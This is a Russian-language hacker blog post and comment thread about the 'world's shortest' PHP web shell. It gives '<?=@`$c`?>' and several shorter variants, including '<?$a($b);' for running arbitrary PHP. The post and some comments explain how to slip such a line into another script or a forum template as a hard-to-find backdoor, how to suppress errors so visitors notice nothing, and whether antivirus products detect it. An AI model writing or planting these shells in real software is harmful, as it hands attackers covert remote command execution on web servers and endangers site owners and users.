Мега релиз: самый короткий шелл =)

Представляю новый релиз – самый короткий в мире веб-шелл на PHP (всего 10 байт), серьезно не воспринимать! =) Итак, та-дам:

<?=@`$c`?>

Если код показался вам непонятным, то сейчас я постараюсь доступно его объяснить. Прежде всего вместо стандартного <?php … ?> используется <?= … ?>, что эквивалентно <? echo … ?>; требуется включенная опция short_open_tag в php.ini. Для подавления ошибок (так как переменная не инициализирована) используется известный прием: перед выражением ставим @. Собственно выполнение команд реализовано с помощью обратных кавычек (backticks) – довольно хитрый прием, о котором знает далеко не каждый. Например, внедрив строку echo @`$c` в другой скрипт, мы имеем незаметный бэкдор, который очень трудно найти.
Плюсы моего шелла: размер!
Минусы: нужны short_open_tag и register_globals


Posted

in

by

Comments

20 responses to “Мега релиз: самый короткий шелл =)”

  1. Pento Avatar

    Всё таки минусы достаточно существенные, хотя и идея интересная 🙂

  2. R.e.a.L. Avatar
    R.e.a.L.

    Прикольно, настоящийи webshell а антивирь только подтвреждает
    это.

  3. Raz0r Avatar

    @R.e.a.L.
    каким антивирем ты пользовался? На вирустотале ни один антивирь ничего подозрительного не увидел

    @Pento
    главный минус – это функциональность =)

  4. R.e.a.L. Avatar
    R.e.a.L.

    касперь 6.0 при запуске скрипта с этим шелом однозначно определяет как потенциально опасное ПО а именно ROOTShell

  5. Raz0r Avatar

    ого! спасибо за информацию, не ожидал, что этот кусочек кода может быть как-то распознан )

  6. c0nst Avatar

    частенько выручала такая строчка =)

  7. Вадим Avatar

    Прикольная штука. Главное работает!

  8. spirit Avatar

    предлагаю немного уменьшить и убрать @! итого получим 9 байт! )

    мы же всегда будем передавать параметр… поэтому при регистрер глобалс переменная всегда будет инициализированя…

    ПС: первый раз написал сам шелл и ПХП обрезано было (

  9. c0nst Avatar

    > мы же всегда будем передавать параметр…
    а если это форум? или еще какой движок? допустим, вставим мы в какой-нибудь template.php этот шелл. template.php инклудится из index.php, etc.php. Заходя на сайт/форум, просой постетель будет видеть ошибку php, так как никаких параметров $c он передавать не будет. Так что, лучше подстраховаться и поставить заглушку @.

  10. Raz0r Avatar

    >просой постетель будет видеть ошибку php
    верно, но в принципе подавление ошибок можно убрать, так как неинициализированная переменная вызывает ошибку уровня E_NOTICE, а на всех хостингах обычно error_reporting выставлен в 7 или даже 0.

  11. Makaka Avatar
    Makaka

    А какая разница скока весит шелл ?
    10 байт или ещё плюс 6 🙂

  12. Raz0r Avatar

    >А какая разница скока весит шелл ?
    чисто кодерский интерес =)

  13. c411k Avatar

    Представляю новый релиз – самый короткий в мире веб-шелл на PHP (всего 9 байт), серьезно не воспринимать! =) Итак, та-дам:
    <?=@`$z`;

  14. c411k Avatar

    зы. а на самом деле плевать на @ можно, получится 8.. но гугл %)

  15. Elekt Avatar

    <?`$a`;
    слепое выполнение кода – 7байт

    <?$a($b);
    выполнение произвольного php-кода

    кто меньше?
    ы =)

  16. brain[pillow] Avatar

    Прикольно. Хотел написать пример ещё короче, но вышло, что c411k меня уже опередил… да и новость смотрю довольно старая.

    Коммент пишу только потому, что не слышал про самый последний пример электа:
    <?$a($b);

    КАК это работает?

  17. Raz0r Avatar

    Очень просто, например такой код выполнит phpinfo():

  18. GivioN Avatar

    То есть к переменной c приинклюдить шелл по средством гет-запроса?

  19. Dorton Avatar
    Dorton

    А где вы собираетесь ставить шеллы с “;” на конце, не в конец ли файла? Однако, немного примечательно. Но, если на то пошло:

    “<?$a($b);
    выполнение произвольного php-кода"
    – 9 байт и заморочки с синтаксисом, нельзя в тупую присвоить переменной "a" команду. Пример: при "a" равном "echo 'ololo'" – Parse error: syntax error, unexpected '(', expecting ',' or ';' on line 1
    Но плюс в том, что не нужен short_open_tag (который по дефолту включён).

    <?=@`$c`;
    – 9 байт без заморочек с синтаксисом (минус выше).

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.